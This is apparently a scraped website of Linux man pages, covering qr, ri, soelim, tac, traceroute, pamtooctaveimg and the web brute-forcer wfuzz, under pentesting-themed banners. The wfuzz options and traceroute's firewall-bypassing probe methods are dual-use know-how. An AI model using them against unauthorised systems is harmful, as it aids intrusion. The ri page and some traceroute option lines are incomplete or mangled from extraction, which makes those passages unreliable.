░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1491 - Linux cli command qr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command qr and provides detailed information about the command qr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the qr.

NAME 🖥️ qr 🖥️

script to create QR codes at the command line

SYNOPSIS

qr [–help] [–factory=FACTORY] [–optimize=OPTIMIZE] [–error-correction=LEVEL] [data]

DESCRIPTION

This script uses the python qrcode module. It can take data from stdin or from the commandline and generate a QR code. Normally it will output the QR code as ascii art to the terminal. If the output is piped to a file, it will output the image (default type of PNG).

OPTIONS

-h, –help

Show a help message.

–factory=FACTORY

Full python path to the image factory class to create the image with. You can use the following shortcuts to the built-in image factory classes: pil (default), png ( default if pillow is not installed), svg, svg-fragment, svg-path.

–optimize=OPTIMIZE

Optimize the data by looking for chunks of at least this many characters that could use a more efficient encoding method. Use 0 to turn off chunk optimization.

–error-correction=LEVEL

The error correction level to use. Choices are L (7%), M (15%, default), Q (25%), and H (30%).

data

The data from which the QR code will be generated.

SEE ALSO

https://github.com/lincolnloop/python-qrcode/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1492 - Linux cli command ri3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ri3 and provides detailed information about the command ri3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ri3.

is a command-line front end for the Ruby API reference. You can search and read the API reference for classes and methods with

is a part of Ruby.

can be:

All class names may be abbreviated to their minimum unambiguous form. If a name is ambiguous, all valid options will be listed.

A

matches either class or instance methods, while #method matches only instance and ::method matches only class methods.

README and other files may be displayed by prefixing them with the gem name they’re contained in. If the gem name is followed by a

all files in the gem will be shown. The file name extension may be omitted where it is unambiguous.

For example:

ri Fil ri File ri File.new ri zip ri rdoc:README

Note that shell quoting or escaping may be required for method names containing punctuation:

ri ‘Array.[]’ ri compact\

To see the default directories

will search, run:

ri –list-doc-dirs

Specifying the

or

options will limit

to searching only the specified directories.

options may be set in the

environment variable.

The

pager can be set with the

environment variable or the

environment variable.

In interactive mode you can repeatedly look up methods with autocomplete.

Show all documentation for a class or module.

List classes

knows about.

Send output to a pager, rather than directly to stdout.

Synonym for

Set the width of the output.

Run RDoc server on the given port. The default port is 8214.

Use the selected formatter. The default formatter is

for paged output and

otherwise. Valid formatters are:

Show help and exit.

Output version information and exit.

Data source options:

List the directories from which

will source documentation on stdout and exit.

List of directories from which to source documentation in addition to the standard directories. May be repeated.

Do not include documentation from the Ruby standard library,

installed gems, or

Use with

Include documentation from Ruby’s standard library. Defaults to true.

Include documentation from libraries installed in

Defaults to true.

Include documentation from RubyGems. Defaults to true.

Include documentation stored in

Defaults to true.

Debug options:

Run with the Ruby profiler.

Dump data from an ri cache or data file.

Options to prepend to those specified on the command-line.

Pager program to use for displaying.

Path to the user’s home directory.

Path for ri data in the user’s home directory.

Security vulnerabilities should be reported via an email to

Reported problems will be published after being fixed.

Other bugs and feature requests can be reported via the Ruby Issue Tracking System

Do not report security vulnerabilities via this system because it publishes the vulnerabilities immediately.

Written by

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1493 - Linux cli command soelim

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command soelim and provides detailed information about the command soelim, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the soelim.

Name

soelim - recursively interpolate source requests in roff or other text files

Synopsis

soelim [-Crt] [-I dir] [*input-file *. . .] soelim –help soelim -v soelim –version

Description

GNU soelim is a preprocessor for the

document formatting system. soelim works as a filter to eliminate source requests in

input files; that is, it replaces lines of the form “.so included-file” within each text input-file with the contents of included-file, recursively. By default, it writes lf requests as well to record the name and line number of each input-file and included-file, so that any diagnostics produced by later processing can be accurately traced to the original input. Options allow this information to be suppressed (-r) or supplied in TeX comments instead (-t). In the absence of input-file arguments, soelim reads the standard input stream. Output is written to the standard output stream.

If the name of a macro-file contains a backslash, use * or  to embed it. To embed a space, write “**” (backslash followed by a space). Any other escape sequence in macro-file, including “\rs]*”, prevents soelim from replacing the source request.

The dot must be at the beginning of a line and must be followed by “so” without intervening spaces or tabs for soelim to handle it. This convention allows source requests to be “protected” from processing by soelim, for instance as part of macro definitions or “if” requests.

There must also be at least one space between “so” and its macro-file argument. The -C option overrides this requirement.

The foregoing is the limit of soelim’s understanding of the roff language; it does not, for example, replace the input line

.if 1 .so otherfile

with the contents of otherfile. With its -r option, therefore, soelim can be used to process text files in general, to flatten a tree of input documents.

soelim was designed to handle situations where the target of a roff source request requires a preprocessor such as

or

The usual processing sequence of

is as follows.

          input        sourced
          file          file
            ⎪             ⎪
            ↓             ↓
        preprocessor ⎯→ troff ⎯→ postprocessor
                                      ⎪
                                      ↓
                                   output
                                    file

That is, files sourced with “so” are normally read only by the formatter, troff. soelim is not required for troff to source files.

If a file to be sourced should also be preprocessed, it must already be read before the input file passes through the preprocessor. soelim, normally invoked via groff’s -s option, handles this.

          input
          file
            ⎪
            ↓
          soelim ⎯→ preprocessor ⎯→ troff ⎯→ postprocessor
            ↑                                     ⎪
            ⎪                                     ↓
         sourced                               output
          file                                  file

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

-C
Recognize an input line starting with .so even if a character other than a space or newline follows.

-I dir
Search the directory dir path for input- and included-files. -I may be specified more than once; each dir is searched in the given order. To search the current working directory before others, add “
-I .
” at the desired place; it is otherwise searched last.

-r
Write files “raw”; do not add lf requests.

-t
Emit TeX comment lines starting with “%” indicating the current file and line number, rather than lf requests for the same purpose.

If both -r and -t are given, the last one specified controls.

See also

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1494 - Linux cli command tac

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tac and provides detailed information about the command tac, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tac.

NAME 🖥️ tac 🖥️

concatenate and print files in reverse

SYNOPSIS

tac [OPTION]… [FILE]…

DESCRIPTION

Write each FILE to standard output, last line first.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

-b, –before
attach the separator before instead of after

-r, –regex
interpret the separator as a regular expression

-s, –separator=STRING
use STRING as the separator instead of newline

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Jay Lepreau and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cat(1), rev(1)

Full documentation <https://www.gnu.org/software/coreutils/tac>
or available locally via: info ‘(coreutils) tac invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1495 - Linux cli command traceroute6.db

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command traceroute6.db and provides detailed information about the command traceroute6.db, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the traceroute6.db.

NAME 🖥️ traceroute6.db 🖥️

print the route packets trace to network host

SYNOPSIS

traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,…]

[-i device] [-m max_ttl] [-p port] [-s src_addr]

[-q nqueries] [-N squeries] [-t tos]

[-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]

[-P proto] [–sport=port] [-M method] [-O mod_options]

[–mtu] [–back]

host [packet_len]
traceroute6 [options]
tcptraceroute [options]
lft [options]

DESCRIPTION

traceroute tracks the route packets taken from an IP network on their way to a given host. It utilizes the IP protocol’s time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to the host.

traceroute6 is equivalent to traceroute -6

tcptraceroute is equivalent to traceroute -T

lft , the Layer Four Traceroute, performs a TCP traceroute, like traceroute -T , but attempts to provide compatibility with the original such implementation, also called “lft”.

The only required parameter is the name or IP address of the destination host . The optional packet_len`gth is the total size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored in some situations or increased up to a minimal value.

This program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a small ttl (time to live) then listening for an ICMP “time exceeded” reply from a gateway. We start our probes with a ttl of one and increase by one until we get an ICMP “port unreachable” (or TCP reset), which means we got to the “host”, or hit a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the ttl, address of the gateway and round trip time of each probe. The address can be followed by additional information when requested. If the probe answers come from different gateways, the address of each responding system will be printed. If there is no response within a certain timeout, an “*” (asterisk) is printed for that probe.

After the trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence violation), !C (precedence cutoff in effect), or !<num> (ICMP unreachable code <num>). If almost all the probes result in some kind of unreachable, traceroute will give up and exit.

We don’t want the destination host to process the UDP probe packets, so the destination port is set to an unlikely value (you can change it with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open technique, which prevents our probes to be seen by applications on the destination host).

In the modern network environment the traditional traceroute methods can not be always applicable, because of widespread use of firewalls. Such firewalls filter the “unlikely” UDP ports, or even ICMP echoes. To solve this, some additional tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particular protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of allowed type of a network session).

OPTIONS

–help
Print help info and exit.

-4, -6
Explicitly force IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose the appropriate protocol automatically. If resolving a host name returns both IPv4 and IPv6 addresses, traceroute will use IPv4.

-I, –icmp
Use ICMP ECHO for probes

-T, –tcp
Use TCP SYN for probes

-d, –debug
Enable socket level debugging (when the Linux kernel supports it)

-F, –dont-fragment
Do not fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment remotely as well).

Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information about the MTU of individual network hops. The –mtu option (see below) tries to do this automatically.

Note, that non-fragmented features (like -F or –mtu) work properly since the Linux kernel 2.6.22 only. Before that version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the route cache), which can be less than the actual mtu of a device.

-f* first_ttl***, –first=**first_ttl
Specifies with what TTL to start. Defaults to 1.

-g* gateway***, –gateway=gateway
Tells traceroute to add an IP source routing option to the outgoing packet that tells the network to route the packet through the specified gateway (most routers have disabled source routing for security reasons). In general, several gateway’s is allowed (comma separated). For IPv6, the form of num
,addr,**addr… is allowed, where num is a route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

-i* interface***, –interface=**interface
Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.

-m* max_ttl***, –max-hops=**max_ttl
Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

-N* squeries***, –sim-queries=**squeries
Specifies the number of probe packets sent out simultaneously. Sending several probes concurrently can speed up traceroute considerably. The default value is 16.
Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large number can lead to loss of some responses.

-n
Do not try to map IP addresses to host names when displaying them.

-p* port***, –port=**port
For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incremented by each probe).
For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
For TCP and others specifies just the (constant) destination port to connect. When using the tcptraceroute wrapper, -p specifies the source port.

-t* tos***, –tos=**tos
For IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high throughput). Note that in order to use some TOS precedence values, you have to be super user.
For IPv6, set the Traffic Control value.

-l* flow_label***, –flowlabel=**flow_label
Use specified flow_label for IPv6 packets.

-w* max[*,here,near], –wait=*max[,here,*near]
Determines how long to wait for a response to a probe.

There are three (in general) float values separated by a comma (or a slash). Max specifies the maximum time (in seconds, default 5.0) to wait, in any case.

Traditional traceroute implementation always waited whole max seconds for any probe. But if we already have some replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a hint to determine the actual reasonable amount of time to wait.

The optional here (default 3.0) specifies a factor to multiply the round trip time of an already received response from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than) max. The optional near (default 10.0) specifies a similar factor for a response from some next hop. (The time of the first found result is used in both cases).

First, we look for the same hop (of the probe which will be printed first from now). If nothing found, then look for some next hop. If nothing found, use max. If here and/or near have zero values, the corresponding computation is skipped.
Here and near are always set to zero if only max is specified (for compatibility with previous versions).

-q* nqueries***, –queries=**nqueries
Sets the number of probe packets per hop. The default is 3.

-r
Bypass the normal routing tables and send directly to a host on an attached network. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it.

-s* source_addr***, –source=**source_addr
Chooses an alternative source address. Note that you must select the address of one of the interfaces. By default, the address of the outgoing interface is used.

-z* sendwait***, –sendwait=**sendwait
Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too). Useful when some routers use rate-limit for ICMP messages.

-e, –extensions
Show ICMP extensions (rfc4884). The general form is CLASS*/TYPE:*** followed by a hexadecimal dump. The MPLS (rfc4950) is shown parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Interface Information (rfc5837) is shown parsed as well, in a following form: {INC|SUB|OUT|NXT}:index,IP_addr,"name",mtu=MTU (all four fields may be missing).

-A, –as-path-lookups
Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

-V, –version
Print the version and exit.

There are additional options intended for advanced usage (such as alternate trace methods etc.):

–sport=port
Chooses the source port to use. Implies -N 1 -w 5 . Normally source ports (if applicable) are chosen by the system.

–fwmark=mark
Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

-M* method***, –module=name
Use specified method for traceroute operations. Default traditional udp method has name default, icmp (
-I**)" and tcp (-T)" have names icmp and tcp respectively.
Method-specific options can be passed by -O . Most methods have their simple shortcuts, (-I means -M icmp, etc).

-O* option***, –options=**options
Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline). Each method may have its own specific options, or many not have them at all. To print information about available options, use -O help.

-U, –udp
Use UDP to particular destination port for tracerouting (instead of increasing the port per each probe). Default port is 53 (dns).

-UL
Use UDPLITE for tracerouting (default port is 53).

-D, –dccp
Use DCCP Requests for probes.

-P* protocol***, –protocol=**protocol
Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

–mtu
Discover MTU along the path being traced. Implies -F -N 1. New mtu is printed once in a form of F=NUM at the first probe of a hop which requires such mtu to be reached. (Actually, the correspond “frag needed” icmp message normally is sent by the previous hop).

Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu from a closer hop. Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there as well).
See -F option for more info.

–back
Print the number of backward hops when it seems different with the forward direction. This number is guessed in assumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a common practice). It is printed as a negate value in a form of ‘-NUM’ .

LIST OF AVAILABLE METHODS

In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmdline switches (you can see them after the method name, if present).

default

The traditional, ancient method of tracerouting. Used by default.

Probe packets are udp datagrams with so-called “unlikely” destination ports. The “unlikely” port of the first probe is 33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the destination host normally returns “icmp unreach port” as a final response. (Nobody knows what happens when some application listens for such ports, though).

This method is allowed for unprivileged users.

icmp -I

Most usual method for now, which uses icmp echo packets for probes.
If you can ping(8) the destination host, icmp tracerouting is applicable as well.

This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6 since 3.11), which supports new dgram icmp (or “ping”) sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to match any group of the user.
Options:

raw
Use only raw sockets (the traditional way).
This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

dgram
Use only dgram icmp sockets.

tcp -T

Well-known modern method, intended to bypass firewalls.
Uses the constant destination port (default is 80, http).

If some filters are present in the network path, then most probably any “unlikely” udp ports (as for default method) or even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall. To bypass a network filter, we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T -p 25 can reach it, even when -I can not.

This method uses well-known “half-open technique”, which prevents applications on the destination host from seeing our probes at all. Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active listening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session is dropped even without the application ever taking notice.

There is a couple of options for tcp method:

syn,ack,fin,rst,psh,urg,ece,cwr
Sets specified tcp flags for probe packet, in any combination.

flags=num
Sets the flags field in the tcp header exactly to num.

ecn
Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

sack,timestamps,window_scaling
Use the corresponding tcp header option in the outgoing probe packet.

sysctl
Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn. Always set by default, if nothing else specified.

fastopen
Use fastopen tcp option (when syn), for initial cookie negotiation only.

mss=[num]
Use value of num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path being traced. New changed mss is printed once in a form of M=NUM at the first probe on which it was detected. Note, some routers may return too short original fragment in the time exceeded message, making the check impossible. Besides that the responses may come in a different order. All this can lead to a later place of the report (using -N 1 can help for the order).

info
Print tcp flags and supported options of final tcp replies when the target host is reached. Allows to determine whether an application listens the port and other useful things. Supported tcp options are all that can be set by -T -O, ie. mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss and just presence for others).

Default options is syn,sysctl.

tcpconn

An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended for normal use, because a destination application is always affected (and can be confused).

udp -U

Use udp datagram with constant destination port (default 53, dns).
Intended to bypass firewall as well.

Note, that unlike in tcp method, the correspond application on the destination host always receive our probes (with random data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never see the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

This method is allowed for unprivileged users.

udplite -UL

Use udplite datagram for probes (with constant destination port, default 53).

This method is allowed for unprivileged users.
Options:

coverage=num
Set udplite send coverage to num.

dccp -D

Use DCCP Request packets for probes (rfc4340).

This method uses the same “half-open technique” as used for TCP. The default destination port is 33434.

Options:

service=num
Set DCCP service code to num (default is 1885957735).

raw -P proto

Send raw packet of protocol proto.
No protocol-specific headers are used, just IP header only.
Implies -N 1 -w 5 .
Options:

protocol=proto
Use IP protocol proto (default 253).

NOTES

To speed up work, normally several probes are sent simultaneously. On the other hand, it creates a “storm of packages”, especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies can be lost. To avoid this, decrease the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation), i.e. -N 1

The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It can lead to extra “looks like expired” hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it cannot help in your case, just use -N 1 too.

For even greater stability you can slow down the program’s work by -z option, for example use -z 0.5 for half-second pause between probes.

To avoid an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature expiry (especially when response times differ at times) and printing “*” instead of a time. In such a case, switch this algorithm off, by specifying -w with the desired timeout only (for example, -w 5).

If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and for nearest 8 hops only).

SEE ALSO

ping(8), ping6(8), tcpdump(8), netstat(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1496 - Linux cli command pamtooctaveimg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtooctaveimg and provides detailed information about the command pamtooctaveimg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtooctaveimg.

.

NAME 🖥️ pamtooctaveimg 🖥️

convert a Netpbm image to a GNU Octave image

SYNOPSIS

pamtooctaveimg [netpbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamtooctaveimg reads a Netpbm image as input and produces a GNU Octave image file as output.

An Octave image file (called “Octave’s image format” in Octave documentation) is a particular kind of Octave data file. It describes two matrices:

  • the image itself as a list of indexes into a colormap, and

  • the corresponding colormap as a list of {red, green, blue} triplets.

An Octave data file is an ASCII text file that you use to import data to Octave.

See the Image Processing chapter of the GNU Octave manual for details.

pamtooctaveimg writes the output Octave image to Standard Output.

OPTIONS

There are no command line options defined specifically for pamtooctaveimg, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

ARGUMENTS

netpbmfile is the name of the file containing the input PNM or PAM image, or - to indicate Standard Input. If you don’t specify netpbmfile, the input is from Standard Input. pamtooctaveimg converts only the first image in the input stream.

EXAMPLES

   % pamtooctaveimg myimage.ppm > myimage.img
   % octave
   > [img,map] = loadimage("myimage.img");

   # (At this point, img is an X by Y matrix and map is a 3 by M matrix.)

   > imshow(img,map);   # Displays img with colormap map
   > [r,g,b] = ind2rgb(img,map);

   # (r, g, and b are now each X by Y matrices of color levels [0 to 1].)

   > [newimg,newmap] = rgb2ind(r,b,g);   # Swap the blue and green channels.
   > saveimage("newimage.ppm", newimg, "ppm", newmap);  # Save as a PPM file.

NOTES

There is no octavetopam program. However, GNU Octave’s saveimage command can save images in PPM format.

HISTORY

pamtooctaveimg was new in Netpbm 10.39 (June 2007).

AUTHOR

Copyright (C) 2007 Scott Pakin, [email protected].

SEE ALSO

octave(1) , pam(1) .

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtooctaveimg.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1497 - Linux cli command wfuzz

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wfuzz and provides detailed information about the command wfuzz, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wfuzz.

NAME 🖥️ wfuzz 🖥️

a web application bruteforcer

SYNOPSIS

wfuzz [options] -z payload,params <url>

OPTIONS

-h
Print information about available arguments.

–help
Advanced help.

–version
Wfuzz version details

-e <type>
List of available encoders/payloads/iterators/printers/scripts

–recipe <filename>
Reads options from a recipe

–dump-recipe <filename>
Prints current options as a recipe

–oF <filename>
Saves fuzz results to a file. These can be consumed later using the wfuzz payload.

-c
Output with colors

-v
Verbose information.

-f filename,printer
Store results in the output file using the specified printer (raw printer if omitted).

-o printer
Format output using the specified printer.

–interact
(beta) If selected, all key presses are captured. This allows you to interact with the program.

–dry-run
Print the results of applying the requests without actually making any HTTP request.

–prev
Print the previous HTTP requests (only when using payloads generating fuzzresults)

-p addr
Use Proxy in format ip:port:type. Repeat option for using various proxies. Where type could be SOCKS4, SOCKS5 or HTTP if omitted.

-t N
Specify the number of concurrent connections (10 default)

-s N
Specify time delay between requests (0 default)

-R depth
Recursive path discovery being depth the maximum recursion level.

-L, –follow
Follow HTTP redirections

-Z
Scan mode (Connection errors will be ignored).

–req-delay N
Sets the maximum time in seconds the request is allowed to take (CURLOPT_TIMEOUT). Default 90.

–conn-delay N
Sets the maximum time in seconds the connection phase to the server to take (CURLOPT_CONNECTTIMEOUT). Default 90.

-A
Alias for –script=default -v -c

–script=
Equivalent to –script=default

–script=<plugins>
Runs script’s scan. <plugins> is a comma separated list of plugin-files or plugin-categories

–script-help=<plugins>
Show help about scripts.

–script-args n1=v1,…
Provide arguments to scripts. ie. –script-args grep.regex="<A href=(.*?)&gt;"

-u url
Specify a URL for the request.

